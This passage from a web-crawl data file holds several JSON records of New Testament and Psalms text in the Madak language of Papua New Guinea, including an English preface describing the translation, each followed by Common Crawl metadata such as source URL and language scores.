lempanga at lentaba vetpes, di esev amet, di esep, di lok levenekarakat, di babala vukpuk, di doma xakapmek amisik ti leventaba vetpes, la di tere mumu.\n30 Di lox asi limixin mi levelinga, di belengatngas ti ne Moroa, di ekilu, dim simi di la dit las di, la di doma xaka bok leventaangas petpes ti lok laxakapmek, kopmen dina ronga res at luvuttemen di mi luvutnen di. 31 Kopmen dina ruuna tevendoxoma avukat, kopmen dina doma xatling levelinga atnedi, la kopmen dina lox asuusu labalamu ela, la loxokok ti lemet atdi. 32 Diklen i do Laulis Linga at ne Moroa i tong i do limixin di mumu asu na leventaangas, dinaba seeve. Ketla move dik lok na leventaangas la di momo mun midi limixin petpes ua di lok mo langas.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/pngscriptures.org\/mmx\/ROM01.htm","date":"2017-09-23T18:27:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689775.56\/warc\/CC-MAIN-20170923175524-20170923195524-00002.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":1393,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Levelinga Loklox Axasep Ti Na Lubuk\nAnai lubuk ni Lenavolo: Lovoang Kaala Maxat La Sam keneng at lavapaase Madak. I ven ngan lavalimo larabin sangsangaun kobot mi lavalimo sangsangaun kobot 5500 limixin di paase i na lavapaase, la di nemen to rinotno xantubu at lenep Niu Ailan at lenep silok Papua New Guinea.\nLovoang Kaala Maxat ni i paase mumu ne Iesu Karisito. Gano migomgo lentaba at limixin at ne Moroa diga malagan i na levelinga mi loklok tooro at Loroonan Kaala. Diga malagan i na Lovoang Kaala Maxat at lavapaase Grik, la melemu at lentaba levenmaares diga raba pukus i ri lempapaase vetpes. Lubuk Sam diga malagan i at lavapaase Ibru (Hebrew) la melemu diga raba pukus i ri lempapaase vetpes.\nAt lurutu kaxat at levenbuk getgesara levelinga loklox axasep mo ik lok; i paase mumu mo lubuk. Lara loklok katling ik lok ti lox epeseves mo lubuk ti lengkot lixilik. Uba ven bok loxolinga lamaares. Anai ni levenmaares kopla lamaares diga malagan mo lubuk teren. Mo do una ven i do i volo legesa maares, una xasep do luvuttadi leklen dixo xasep bok do diga malagan i mo lubuk lingisa, ketla di doma i do diga malagan i at tentaba tevenaleng keneng at mo levenmaares.\nKeneng bok at Lovoang Kaala Maxat lentaba levengkolinga mo luvuttadi mamalagan diga lok ka i boro at Lovoang Kaala Migomgo. Maga lok li bok leveloklok katling lixilik kerekngan i na \" \" la mo levelinga it kis kantubu at lempoang. Melemu avit ap mo levempapaase boro at Lovoang Kaala Migomgo maga lok li levenbuk, lara put silok, la lengkakan lixilik teren, ua mo levelinga i laala meve.\nTo maxopok at lempoang getgesara maga lok li legepu vanga. Lara avot ni levesoksoxomus ti lentaba lengkolinga keneng at mo lovoang. Mo levengkolinga, loklok katling teren i ven ngan i na *. Mo do una ven tara, una ven to maxopok at mo lovoang la uba utus losoksoxomus teren. Lara lavanga bok, to maxopok at lempoang maga lok li bok levenbuk eburu mi laraput silok la lengkakan ua i epovo xusu naba lok tooro u at tentaba tengkakan ap mo lubuk nenu u vutus i.\nUba ven bok lokok katling keretna [ ] eburu mi tentaba tevelinga kantubu ren. Dola una ven i na, unaklen i do luvuttadi leklen at Lenavolo di doma i do mo levelinga xopmen ni levenep tuturun at Lenavolo, lentaba luvuttadi diga lox abeles mene i melemu ap mo levelinga gak lok pam keneng teren. Mo levelinga xopmen dina nemen keneng at lentaba levenmamalagan at lavapaase Grik mo nedik di ruuna i.\nTo melemu at nai levenbuk axap at Lenavolo: Lovoang Kaala Maxat La Sam uba ven levelinga keneng at Lubuk Sam i paase mumu ne Iesu, la uba ven bok levelinga loklox axasep ti lentaba lengkolinga matmatkun, la uba ven bok lempatlak linga i mumu asu lixitkis atnedi. Uba ven bok levenampoovo at levennep kangka, kusu ri lok tooro u. Maga lok li i na xusu ri lok tooro u la uba xasep nunuan at levelinga at ne Moroa.\nEnglish Preface\nLovoang Kaala Maxat La Sam is a translation of the New Testament and Psalms into the Madak language of Papua New Guinea. The Madak live in the central area of the New Ireland Province. There are approximately 5500 speakers of this language.\nThis book includes several extra features designed to help the reader better understand the message of the New Testament and Psalms. Each book has an introduction that tells a little bit about the author, and explains the situation that caused the book to be written. These are written from a conservative theological point of view. Parallel passages are noted after section headings, especially in the Gospels. Cross references are placed at the bottom of the page with the verse that is being cross-referenced in bold print. Abbreviations used in the parallel passage references and cross references can be found on the following pages. The English titles are also included. At the end of the book are included a list of the Messianic Psalms, a glossary of key New Testament terms, a topical index, and a set of maps.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/pngscriptures.org\/mmx\/INT01.htm","date":"2017-09-23T18:27:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689775.56\/warc\/CC-MAIN-20170923175524-20170923195524-00209.warc.gz","language":"mmx","language_score":0.9989777803,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"mmx_Latn_score\": 0.998977780342102}","num_words":683,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sam\nLevempixan at ne Devit\nLevelinga Loklox Axasep\nNa lubuk Sam i umsu mi levempixan ne Devit la lentaba luvuttadi vetpes diga malagan i. Buaang limixin di tong i do na lubuk, ni lubuk at ne Devit. Ketla neni goxo malagan na levempixan axap. Luvuttadi vetpes bok diga malagan lentaba levempixan. Nedi ne Kora, Asap, Moses, Solomon, Etan, la lentaba vetpes ua nedik kopmen atanaklen levenasen atdi. Lentaba at na levempixan ik lok ti lok tooro limixin, i ngan nedi di meres, nedi di umsu mi lainbulu, nedi ua laxapmek ik lok keneng at lorooro atdi, nedi di marat at limixin munepen midi. Lentaba levempixan ik lok ti anasa limixin mi levelinga mumu ne Moroa la lodoxoma ren. Lentaba bok mo ik lok kusu ti emi asu min. Na lubuk i anasa limixin mi legepu lempapaase. Lara avot i lok keretna. Limixin dina nunu saga at ne Moroa. La lara sepsev agepura i lok keretna. Moroa i balamu aleng limixin teren. Na lubuk Sam ik lox asuusu langsangan loklok tooro tinedi dina utus i. Dinaba lok kaka lomomo i silok aleng do dina utus i at levenaleng axap.\nLengkot silok keneng at na lubuk\n1–41 Levempixan mumu loklok at limixin la mumu bok luruntudum li at lempanga axap.\n42–72 Levempixan mumu lubung mixin me Israel la ne Moroa ga lox sepsu di basinge limixin munepen midi.\n73–89 Levempixan mumu lotu saparap ne Moroa la mumu bok loogu laplavang.\n90–106 Levempixan mumu lavatpas at limixin at na lavatbung menemen.\n107–150 Levempixan mumu leemi asu ri ne Moroa la mumu bok levelinga ren.\n1\nLomomo Ruturun\n1 Lomomo rinedi di raba rulu levelinga loklok tooro at limixin kapmek la dixo mumu asu lampoovo at limixin di lok laxakapmek, kopla dinak lok esogo minedi di paase aksaksa ri ne Moroa. 2 Ketla, di suma ka lomomo atla di mumu asu Laulis Linga at Leeme Silok, la dim doma mumu amisix i at levenaleng kangking la at levenaleng kanimin bok. 3 Di lok ngan larauna di suusu ro at lisigege dan, la di pisix akmokso levempeven at levengaaling pipisik at laxampeeve, la levenang atdi kopmen nak mada si, la na mamang. Mo limixin di ngasang kobot at levempanga axap di lox i.\n4 Ketla limixin kapmek dixok lok kuren. Di lok ngan mun levempusuvus at levenbeo, lamanman it mas kepe i. 5 At laaleng ne Moroa na viila mumu loklok at limixin axap, ni naba lok li lumumuat mavana at limixin kapmek, la naba solasu xepe di basinge limixin akmokso ren. 6 Limixin manmanton dit pas keneng at loklok tatao at Leeme Silok, ne Moroa, ketla nedi di mumu asu langas kapmek, dinaba seeve.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/pngscriptures.org\/mmx\/PSA001.htm","date":"2017-09-26T20:05:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818696681.94\/warc\/CC-MAIN-20170926193955-20170926213955-00552.warc.gz","language":"mmx","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"mmx_Latn_score\": 1.0000094175338745}","num_words":428,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.355,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galesia\nLovoang At Ne Pol\nTi Limixin Nunu To Galesia\nLevelinga Loklox Axasep\nLamaares 57 A.D.\nGalesia neni laasen at lara lenep silok. Keneng at nai lenep silok Galesia, lentaba lavaeme loklox ase mo digat pas saasaa la diga vavang mi levenanasa sixit emu mi Lagale Lavavang. Kuren la ne Pol ga malagan aonon i na lovoang. Na lavaeme loklox ase diga anasa xeretna. Nedik na ua ata nunu at ne Karisito, atana mumu asu bok leveloklok at leme Judaia la Laulis Linga, kusu atanaba lok ka lorooro ren. Ketla keneng at na lovoang ne Pol ga lox axasev i do ata nunu mene at ne Iesu xusuk mun, la keneng mun at nai, nedik ata ba lok ka lorooro avolo.\nLengkot silok keneng at na lovoang\n1:1-5 Lavapaase momo at ne Pol ti limixin.\n1:6–2:21 Dina lox abulubun kepe levenanasa xaxarang.\n3:1–4:31 Nedik dixo lok ka lorooro mi lolos axa atdi.\n5:1–6:10 Ataba lok ka lorooro mun keneng at ne Karisito.\n6:11-18 Pol ga lox axap levelinga ren.\n1\nLavapaase Axasep\n1 *\nNenia ne Pol, la nenia laradi ga lok ka lorotoro ngan lun pavang la mo lorotoro goxo ravasu at taradi gamasa. Ketla ga ravasu boro at ne Iesu Karisito eburu mi ne Moroa, ne Temen, no ga lox arooro amlong i at lanmet. 2\nNema axap loxoeton nade ma lox aonon lomomo atnema rinemi limixin lotu at laramenemen do at lenep silok Galesia.\n3 *\nLetaba nabalamu la lenmila rinemi boro at ne Moroa ne Temen nedik la Leeme Silok atnedik ne Iesu Karisito. 4 *\nIesu ga raba lorooro ren ti ru korop ti laxakapmek atnedik kusu neni naba lox asepmus nedik basinge leveng kakapmek at na levenaleng lolos. Anaa ga ravasu ngan lavavara at ne Moroa ne Temen nedik. 5\nAta xip aurut laasen at ne Moroa, la leemi asu rin amisik la kopmen taxavaxap teren. I ruturun.\nLeges Agale Lavavang\n6\nNia a sangu aleng atnemi, atla goxo lox abao bok la mira ke xepe nga ne Moroa, mo ga ro xaka nemi mi letaba nabalamu ren keneng at ne Karisito, la monga mira sisiam kaka nga lavavang petpes. 7 *\nLa i ruturun tinotno do kopmen bok ba tepavang avukat petpes. Ketla a vaase i na atla lentaba luvuttadi mo dik lox ekarakat lodoxoma atnemi la dirak lok tong i xusu dinaba ba gili Lagale Lavavang at ne Karisito ti langas petpes. 8 *\nKetla do nema luvuttadi vavang kopla taangelo boro vana at laxalibet na vavang mi tevelinga xopmen na sixit emu mi Lagale Lavavang at ne Moroa, anaa nema maga vavang min tinemi, lasaxaek na mu asu di. 9\nNema magara paase vam i na gano la amo manga ara vaase amu manga ren. Dola tara na vavang tinemi mi tavavang na lok petpes ti lara nemi migara ruuna xaka vam i, lasaxaek na mu asu mo laradi.\n10 *\nNenia xopmen ana vaase i na xusu do ti lok limixin diba lok momo minia, kopmen tinotno. Nenia a vaase i na xusu ti lox amomo ne Moroa. La nenia kopmen ana vaase i na xusu limixin dinaba emi asu minia. Kopmen. Do nenia gita lox i xuren, ixo epovo bok do nenia giba lok ngan lasaxaruki at ne Karisito.\nLangas Ne Pol Ga Mu Asu I Ri Lok Ngan Laradi Vavang\n11 *\nLuvutnetak mi luvurinuk. A vara do ana tong i rinemi xeretna do, Lagale Lavavang nenia a vavang min, goxo ravasu at lodoxoma at taradi at na lavatkangka. 12 *\nLa a goxoklen kaka i at taradi, xopla taradi ga lox ase ia min. Ne Iesu Karisito axa ga lox asuvos taba ia min.\n13 *\nLimixin digara tong axasep pam lorooro rak tinemi at levenaleng nenia aga rooro rinotno xeneng at loklok at leme Judaia. Nenia agak lox asongot aleng limixin at lotu at ne Moroa, la aga lolos tinotno xusu ana sev asi rino lununu atnedi. 14 *\nLa loklok tarak keneng at lotu Judaia ga volo rinotno leventaba diga visik emu nema keneng at lenep Judaia. La nenia aga lolos tinotno xusu ana mumu asu leveloklok at lavalabat atnema. 15 *\nKetla avot ti livipisik tarak, ne Moroa gara soxolik kaka avot pam ia. La keneng at letaba nabalamu ren, neni ga ro xaka ia do ateren. 16 *\nLa at loxonaleng neni ga doma i xusu na lox asuvos ne Nitna ria, la kusu anaba vavang mi Lagale Lavavang teren ti limixin kopmen di me Judaia, nenia a goxo vot pasa bok ba teta xusu neni gita re ase ia. 17\nKopla agitat pas bok be uto Jerusalem kusu ti ven nedi lavaun pavang avot tia. Ketla agat pas epopolo uto Arabia, la melemu agamlong uto Damasko.\n18 *\nGa melemu ba at lavantun maares la nenia agarat pas ba uto Jerusalem ti vot pasa ne Pita, la agak lok eburu min at lasangaun mi lavalimo levenaleng. 19 *\nLa nenia a goxo ven tu ap mo lentaba lavaun pavang bok, ketla ne Jems kusuk mene nga, neni neton Leeme Silok. 20\nLa na levempanga nenia a malagan i, i ruturun tinotno, la ne Moroa iklen i do nenia a xopmen ana xaxarang. 21 *\nLa melemu agat pas uto at lunep silok, Siria la Silisia. 22\nGa ap mo levenaleng limixin at ne Karisito ro Judaia di goxokleklen ia. 23\nDigakleklen mun levempanga, leventaba vetpes diga paase di min keretna do, \"No laradi gak lox asongot limixin nunu, neni na i vavang mi mo lununu, neni gak lok tong i do na sele utur i.\" 24\nKuren la diga xip aurut laasen at ne Moroa la diga emi asu min mumu mo levempanga ga ravasu at lorooro rak.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/pngscriptures.org\/mmx\/GAL01.htm","date":"2017-09-26T03:55:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818694719.89\/warc\/CC-MAIN-20170926032806-20170926052806-00308.warc.gz","language":"mmx","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"mmx_Latn_score\": 1.000009298324585}","num_words":900,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timoti\nLovoang Sepsev Agepura At Ne Pol\nSaparap Ne Timoti\nLevelinga Loklox Axasep\nLevenmaares 67–68 A.D.\nAnai ni lovoang sepsev agepura ri ne Timoti. Pol ga malagan i na lovoang to Rom ap mo levenaleng neni ga nemen at loogu xokoxo. Diga lok li i at loogu xokoxo atla neni ga vavang mi ne Iesu Karisito. Pol ga doma i do noxo lox abao la dina sev amer i. Kuren la ap mo levenaleng neni ga malagan i na. Timoti neni laradi loklok tooro at ne Pol la nedu duga gugu buru la neni bok gamgomgo rinedi luvuttadi nunu mo digak lok to Epesas. Timoti mi ne Pol du buru duga nunu at ne Karisito. Kuren la ne Pol ga so asen ne Timoti do lamdak teren. At nai lovoang Pol ga paase mumu labalamu ren ti ne Timoti la ni ga vara i do neni na tu atmatkun tip kip mo levesongsongot neni ga ven i xeneng atnedi di munepen mi ne Iesu Karisito. Pol ga vara box i do ne Timoti na raba axap lorooro ren ti levenanasa mokmokso.\nLengkot silok keneng at na lovoang\n1:1-5 Pol ga tong avukat ti ne Moroa mumu ne Timoti.\n1:6–2:13 Timoti na tu atmatkun la na visik asu leven gugu nunuan.\n2:14-26 Leveloklok katling ti lox ase dik mi luvuttadi gugu at ne Karisito.\n3:1-9 At laxavaxap laxakapmek at limixin naba suu silok aleng.\n3:10–4:5 Pol ga vaase alolos ne Timoti ri lugugu ren.\n4:6-18 Lusumsuma at ne Pol mi lavavara ren.\n4:19-22 Pol ga vaase abeese lentaba at lempapaase momo.\n1\nLavapaase Axasep\n1 *\nNenia ne Pol, lun pavang at ne Iesu Karisito. Moroa ga soxolik ka ia xusu ana tong asu levelinga at lorooro keneng at ne Iesu Karisito.\n2 *\nA malagan na levelinga ru ne Timoti, nenu lamdak orong tarak.\nLetaba nabalamu, lebelen tuntun, la lenmila bok tu boro at ne Moroa ne Temen dik la ne Iesu Karisito, Leeme Silok atdik.\nLevelinga Emi Asu La Loklox Alolos\n3 *\nNenia a tong avukat ti ne Moroa. Nia a gugu rin ngan lavalabat tarak diga gugu rin la kopmen taxapmek i nemen keneng tarak. Nia a emi asu amisik mi ne Moroa at levenaleng kangking la levenaleng kanimin keneng at levesingising tarak. 4\nA doma su bok ap mo laaleng aga on basinge u la ugang teng. La monga a vara i do ana ven box u xusu lorooro rak naba umsu mi lomomo. 5 *\nA doma su bok at lununu ram. Lununu lolos bok ga nemen at lorooro at ne tubum tixin ne Lois la at lorooro bok at nenam ne Iunis. La nenia aklen i do lununu lolos kerepmo ik lok bok at lorooro ram.\n6 *\nNa mun i lavasuun teren la nia a vaase alolos u xusu unam tebeng alolos nom laramtaba ne Moroa gara raba vam u min ap mo loxonaleng nenia aga sa li lukngak mavana ram. 7 *\nAtla Loroonan ne Moroa ga raba dik min kopmen nak lox araut lanmarat keneng atdik. Ketla mo Loroonan teren ik suxa aumsu dik mi lolos, labalamu la lodoxoma avukat.\n8 *\nKuren la nemen uta lok mamangan ti paase asu levelinga at Leeme Silok atnedik. La nemen uta lok mamangan mu box ia atla nenia a nemen at loogu xokoxo mumu ne Karisito. Ketla atap kip levesongsongot mumu Lagale Lavavang mi lolos ne Moroa im taba dik min. 9 *\nNeni ga lox arooro dik la ga xuruse ka dik kusu ataba lok ngan limixin teren. Kopmen mumu levempanga dik gara lok pam i. Ketla at lavavara ren, i lok ngan letaba nabalamu ren tidik keneng at ne Iesu Karisito. Ni ga raba dik mi na letaba nabalamu avot ti luruntudum li at na lavatbung menemen.\n10 *\nKetla ne Iesu Karisito ga rupot pam de at na lavatbung menemen, la ga lox asuusu vam nom letaba nabalamu ren ngan Laradi Loklox Arooro atdik la ni ga lox axap lolos at lanmet. La at na levelinga at Lagale Lavavang ni ira lox asuusu vam lorooro avolo. 11 *\nNe Moroa gara soxolik ka vam ia ngan lun pavang la laradi loklox ase ri paase asu Lagale Lavavang. 12\nNi lavasuun teren la nia arap kip levesongsongot. Ketla nia move a tu atmatkun mila nia a nunu at ne Iesu Karisito. La akleklen tinotno i do neni i epovo na lok tatao ia la na lok tatao bok mo lugugu ne Moroa ga raba ia min, se ap mo laaleng neni nabamlong teren.\n13 *\nUnam tebeng alolos nom levelinga ruturun at ne Moroa, nia aga anasa u min gano. Ni lampoovo una mumu asu i, la una nemen alolos at lununu ram. La labalamu ram saparap ne Iesu Karisito na nemen lolos. 14 *\nAt lolos at Loroonan Kaala nom i nemen keneng at lorooro atnedik, una lok tatao avukat nom levelinga ruturun uga lok ka i.\n15\nUklen i do nedi axap limixin nunu boro at lenep silok Asia eburu mi ne Pigalas la ne Eremogenes diga on basinge vam ia. 16 *\nKetla a sing Leeme Silok do ni naba lox asuusu lebelen tuntun teren ti ne Onisiparas midi loxoetemen. Atla neni gak lox alolos amisix ia la neni goxo lok mamangan do nia aga nemen at loogu xokoxo. 17\nSe neni ga rupot de Rom, neni ga puse ria se ni ga vuse ka ia. 18 *\nA sing Leeme Silok atdik dola neni na lox asuusu lebelen tuntun teren ti ne Onisiparas ap mo laaleng at Leeme Silok. Nenu u xasep nunuan do ne Onisiparas gak lok tooro aleng ia ro Epesas.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/pngscriptures.org\/mmx\/2TI01.htm","date":"2017-09-26T03:57:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818694719.89\/warc\/CC-MAIN-20170926032806-20170926052806-00617.warc.gz","language":"mmx","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"mmx_Latn_score\": 1.0000091791152954}","num_words":895,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jems\nLovoang At Ne Jems\nLevelinga Loklox Axasep\nLamaares 62 A.D.\nLaradi ga malagan i na lovoang neni ne Jems. Buaang nedi luvuttadi akleklen di lok do nai ne Jems neni neton ne Iesu. Neni ga malagan i na lovoang ti lara libinam tadi at ne Moroa ua nedi diga raba lorooro atnedi ri ne Iesu Karisito. Anai libinam tadi diga ekip tangarang aleng mi levesongsongot boro at limixin munepen mi ne Karisito. Kuren la diga epeseves at lengkot axap. Digak lok at levenmenemen silok buaang la digak lok ngan limixin me xadiong. Ti nai ne Jems neni laradi gomgo atnedi limixin nunu digak lok to Jerusalem.\nLengkot silok keneng at na lovoang\n1:1 Levelinga momo at ne Jems ti limixin.\n1:2-8 Langas ti lok ka lununu mi levendomdoma nunuan.\n1:9-11 Lempapaase mumu limixin banbalo la limixin nopnovos.\n1:12-18 Nemen dik tana subu kot la tana lok laxapmek.\n1:19-27 Nedik ta noxo ronga aie xepe mene levelinga at ne Moroa.\n2:1-13 Legesu ruptuvuk mun kantubu at limixin axap.\n2:14-26 Atana lox asu lununu atdik, mi loklok tik lok tooro limixin.\n3:1-18 Atana lok tatao avukat levempapaase atdik.\n4:1–5:6 Lorooro atdik na nemen nunuan ngan laradi nunu.\n5:7-20 Levenanasa vetpes bok.\n1\nLavapaase Axasep\n1 *\nNenia ne Jems, lasaxaruki at ne Moroa la at Leeme Silok ne Iesu Karisito. Nia a malagan na levelinga ri lasangaun mi legepura larabibinat me Judaia di epeseves at na lavatbung menemen axap.\nNia a malagan lavapaase momo rinemi.\nLevenmumuat I Lox Asu Lununu Lolos\n2 *\nLuvutnetak mi luvurinuk. Do levenasen panga mumuat na vot parap nimi, i lox avukat do mina momo mene, 3 *\natla miklen i do nom levenmumuat i tupot parap nimi kusu ti lox alolos lununu atnimi la melemu minaba tu tuxuruxun keneng at lununu atnimi. 4\nMina tu atmatkun amisik maxeneng at levenmumuat, la nemen mita subu kot. La kerepmo minaba vee ngan limixin mukun at lununu atnimi la kopmen tempanga xapmek nak lok at lorooro atnimi mo naba umsu aleng mi leveloklok nunuan.\n5 *\nKetla do tara atnimi ik pakes ti lodoxoma avukat, ni na sing ne Moroa, atla ne Moroa naba raba aleng i min. Moroa im taba buaang lempanga ri limixin getgesara la neni xopmen noxo rebeng alis toxot teren mumu loklok atdik. 6 *\nKetla mina nunu lolos at lengkonaleng mi ngising parap ne Moroa, la nemen lodoxoma atnimi na sixit ekarakat. Laradi xopmen na nunu lolos, i ngan lovotas i repit to at laras la ik sixit la lamanman i mas ekapus i uto la uto at lengkot axap. 7\nLaradi xerepmo noxo nua i do naba lok ka levenasen panga boro at Leeme Silok. 8\nNeni xopmen na epovo ri lox ali lodoxoma at lorooro axap teren la ni xopmen na epovo ri lox aulis lununu ren parap ne Moroa.\nLaradi Banbalo La Laradi Nopnovos\n9 *\nDo laradi banbalo ik lok kantubu atnemi limixin nunu, neni na lok momo mun, keke i do kopmen tevempanga ren. Laaleng move ne Moroa naba xip aurur i. 10 *\nKetla do laradi nunu i ruuna buaang levempanga, neni naba lok momo mo do ne Moroa na lox asi i. Neni i lok ngan mun lempusuvus aaxa i nemen lixilik mun la ia met ta. 11\nLaxangking i urut la iplivi aleng la i lox amolos axap nom lempusuvus aaxa la i subu uto xopok at laxangka. Lampeneves teren ira xap. At nom mun langas laradi i ruuna levempanga solo naba met basinge leven gugu axap teren ap mo levenaleng i lok lugugu ren.\nLeveloklok Tong Pen Ti Laradi Nunu\n12 *\nI lox avukat aleng do laradi nunu na tu tuxuruxun maxopok at leveloklok tong pen. Mo do laradi ira sak tup pam mi leveloklok tong pen, i lox avukat mila ne Moroa naba raba i mi lavatbungorong, ni lorooro avolo. Ganoxa ne Moroa ga paase ali i do ni naba raba i ri mo limixin di vavara aleng i.\n13\nDo loklok tong pen i vot parap tara la i lok laxakapmek, ni noxo lok do ne Moroa i raba na loklok tong pen tin. Kopmen tara i epovo ri lok tong pen ne Moroa ti lok laxapmek, la neni xa noxo lok tong taradi. 14 *\nKetla laradi i suma loklok tong pen at loxonaleng lavavara xapmek axa ren i sar asoogong i. 15\nLa mo lavavara xapmek teren naba sisilok la na lox asuusu laxakapmek. Melemu at na, laxakapmek na sisilok la na lox asu lanmet.\n16\nLuvutnetak mi luvurinuk orong. Nemen tara na xarang nimi mumu i na. 17 *\nLeventamtaba mo i lox avukat aleng, ni axap nom boro vana at laxalibet. I si boro vana at ne Temen dik, mo ga rudum li laxangking, lagaaling, la laxampenti. Kopmen teretepukus at loklok teren la kopmen toxot at lamain ik lok keneng teren. 18 *\nNeni ga mumu asu lavavara ren la ga raba nedik mi lorooro maxat, mo ga laa boro at levelinga ruturun teren, kusu nedik taba lok ngan levempipisik avot, la kerepmo ga lox asilok dik to mavana at lempanga axap, ni ga rudum li i.\nNemi Mina Ronga\nNa Levelinga, La Mina Mumu Asu Box I\n19\nLuvutnetak mi luvurinuk. Mina doxoma na lavanga. Nemi axap mina lok soso ri ronga res, ketla nemen mita vaase porang soso levelinga, la mita musak soso. 20 *\nMila lumukmusak at laradi kopmen na lox asuusu luruptuvuk avukat, kerekngan ne Moroa i vara i. 21 *\nKuren la, leveloklox axap i bilingot la laxakapmek i umsu aleng at na lavatbung menemen, ni nom mina lok pes kepe i. La mina lox asi nimi la mina xonom ka levelinga at ne Moroa, ni gatlo li i ro xeneng at lorooro atnimi. Ni mun nom levelinga i epovo na lox arooro nimi.\n22 *\nNemen mita lok ngan luvuttadi rongtonga xepe mun. Di ronga levelinga at ne Moroa, la kopmen dina mumu asu i. 23\nDo laradi i ronga mo levelinga, ketla kopmen na gu mu asu i, ni i ngan laradi i ven loroonan teren at liriong. 24\nLa i reven avukat lemeren la melemu i vas kaxat, la soso mun i domampe mo lemeren i lok kereva. 25 *\nKetla do tara i ven kibis mo Lenavolo ik mokso rinotno, mo levelinga naba lox asepmus i basinge loxokoxo at laxakapmek. Do neni nang tonga amisix i la noxo domampe i, ketla na gu mu asu i, Moroa naba lox anarong i at lempanga ni i lox i.\n26 *\nLentaba dik lok keretna, \"Nenia laradi nunu la loklok tarak i lox avukat at lemeren ne Moroa.\" Ketla do ni xopmen na lok tatao avukat lavapaase ren, ni i xaxarang axa lebelen, la lununu ren i ngan lavanga gamasa. 27\nLeveloklok mo i nemen, ne Moroa i vara i do limixin dina lox i. Do dina lox epovo i, i lox asuusu i do di nunu ruturun. Nom leveloklok i lox avukat aleng la i lok keretna. Limixin dina lok tatao avukat lubungkarun la lavakin, lavatlok atdi diga met pam. La dina lok tooro di at levenmumuat atdi. La lara lavanga bok, nedik ata lok tatao avukat lavatpas atnedik, la loklok at na lavatkangka noxo lox abilingot lorooro atnedik.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/pngscriptures.org\/mmx\/JAS01.htm","date":"2017-09-26T03:59:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818694719.89\/warc\/CC-MAIN-20170926032806-20170926052806-00718.warc.gz","language":"mmx","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"mmx_Latn_score\": 1.0000097751617432}","num_words":1145,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 27\nLimixin Esep Diga Lok Ka Ne Pol Uto Rom1 Lavaeme silok diga tong li levelinga rinama xusu maba sen kaxat mi lavattaaxup uto Itali at lemenemen silok Rom, la diga lok ka ne Pol la lentaba limixin kokoxo bok uto saparap ne Julias, neni laasesep at limixin esep boro Rom diga tong nedi do, \"Limixin esep at ne Kaisar.\" 2 Nema mi ne Pol maga los kas at lavattaaxup boro Adramatiam, mo ga gagas kusu na sen kaxat uto at levesoolom at lenep silok Asia, la maga sixit kaxat. Aristakas, neni boro Masadonia at lemenemen Tesalonia, neni ga emu eburu minema.\n3 Ap mo lara laaleng melemu maga rupot to Sidon; Julias gak lok loklox avukat aleng ti ne Pol la ni ga siam ti ne Pol kusu ni nat pas la na ven larapen tangas teren, kusu diba raba i mi levempanga salai neni gak pakes tin. 4 Maga sen kaxat basinge mo lenep, la maga sesen uto melemu ap mo losoxan Saipras kusu lamanman noxo mas tangarang lavattaaxup. 5 Maga volo laras saparap lenep Silisia la Pampilia, la maga vot to Mira at lenep Lisia. 6 Mo go laasesep ga ronga i do lara lavattaaxup boro Aleksandria mo ga lok do na sen kaxat uto Itali; kuren la ni ga lox aurut nema uto vana ren. 7 Maga sesen sila at laxanaleng buaang, ga lolos aleng tinama xusu mana sesen saparap lemenemen Kinidas; la ma goxo lox epovo i xusu mana mu mo lenep tas mumu langsangan lamanman. Kuren la maga sesen epopolo uto melemu at losoxan Krit, maga volo lungusungus laasen teren Salmoni. 8 Maga sesen auret tinotno ro loxon, la lavatpas ga lolos aleng ketla maga vot to at lara loxot diga tong i do Losoolom Avukat; goxo vaxalom bok boro at lemenemen silok Lasia.\n9 Maga nemen at lentaba levenaleng mo go, ga lolos tinotno rinama ri sen mi lavattaaxup, mila leven gaaling at lamanman ga rupot pam la laras ga repit aleng. Laaleng at ne Moroa ti mun anan no gara volo vam, neni laaleng ga lok katling laxakatu 